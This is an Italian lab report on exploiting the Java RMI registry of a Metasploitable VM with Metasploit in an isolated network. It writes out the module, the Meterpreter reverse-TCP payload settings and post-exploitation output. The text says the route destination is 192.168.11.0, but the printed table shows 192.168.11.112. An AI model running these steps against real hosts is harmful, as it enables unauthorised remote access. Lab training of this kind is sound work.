

REPORT ATTIVITÀ DI LABORATORIO: EXPLOITATION

1. Obiettivo dell'Esercitazione

L'obiettivo dell'attività è stato identificare e sfruttare una vulnerabilità nel servizio **Java RMI (Remote Method Invocation)** esposto sulla porta TCP **1099** della macchina target "Metasploitable". Lo scopo finale era ottenere una sessione remota (Reverse Shell) tramite il framework Metasploit e raccogliere evidenze sulla configurazione di rete e di routing della macchina compromessa.

2. Architettura e Configurazione di Rete

L'ambiente di laboratorio è stato configurato isolando le macchine in una **Rete Interna** virtualizzata, simulando uno scenario LAN senza accesso a Internet.

- **Macchina Attaccante (Kali Linux):**
 - Interfaccia: eth0
 - Indirizzo IP: 192.168.11.111
 - Subnet Mask: /24 (255.255.255.0)
- **Macchina Vittima (Metasploitable):**
 - Interfaccia: eth0
 - Indirizzo IP: 192.168.11.112
 - Subnet Mask: /24 (255.255.255.0)

Durante la fase preliminare, è stata eseguita una verifica di connettività tramite protocollo ICMP (Ping) per accertare la visibilità reciproca tra gli host ed è stata effettuata una pulizia delle configurazioni di rete residue (flush dell'interfaccia) sulla macchina attaccante.

```
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.608 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.335 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.328 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.349 ms
```

3. Metodologia di Attacco (Exploitation)

Per l'esecuzione dell'attacco è stato utilizzato il framework **Metasploit**. La vulnerabilità risiede nella configurazione di default del registro RMI, che permette il caricamento di classi arbitrarie da URL remoti.

Procedura eseguita:

1. Avvio della console Metasploit (msfconsole).

2. Selezione del modulo exploit specifico: use exploit/multi/misc/java_rmi_server
3. Configurazione del payload per ottenere una shell inversa Java: set PAYLOAD java/meterpreter/reverse_tcp
4. Configurazione dei parametri di rete:
 - set RHOSTS 192.168.11.112 (Target)
 - set RPORT 1099 (Porta Vulnerabile)
 - set LHOST 192.168.11.111 (Indirizzo di ritorno per la shell)
5. Esecuzione dell'exploit tramite il comando exploit.

L'attacco ha avuto esito positivo, aprendo una sessione **Meterpreter** sulla macchina target.

4. Attività di Post-Exploitation e Raccolta Evidenze

Una volta ottenuto l'accesso al sistema, sono state raccolte le informazioni richieste relative alla configurazione di rete della vittima.

A. Configurazione delle Interfacce di Rete

Tramite il comando ifconfig eseguito dalla sessione remota, è stato verificato l'indirizzamento della macchina compromessa.

Risultati: La macchina conferma l'indirizzo IP 192.168.11.112 con maschera 255.255.255.0.

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe5a:3701
IPv6 Netmask : ::
```

B. Tabella di Routing

Tramite il comando route, è stata estratta la tabella di instradamento del kernel.

Analisi dei risultati:

- **Destination:** 192.168.11.0 (Rete locale)
- **Gateway:** 0.0.0.0

L'assenza di un gateway predefinito (0.0.0.0) conferma che la macchina è configurata per operare esclusivamente all'interno del segmento di rete locale e non dispone di percorsi per raggiungere reti esterne, coerentemente con la configurazione "Rete Interna" impostata nell'hypervisor.

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

5. Conclusioni

L'esercitazione ha dimostrato come una configurazione insicura del servizio Java RMI possa portare alla compromissione totale del sistema . L'utilizzo di payload specifici per l'ambiente (Java Meterpreter) e la corretta configurazione dei parametri di rete (LHOST/RHOST) sono risultati determinanti per il successo dell'operazione.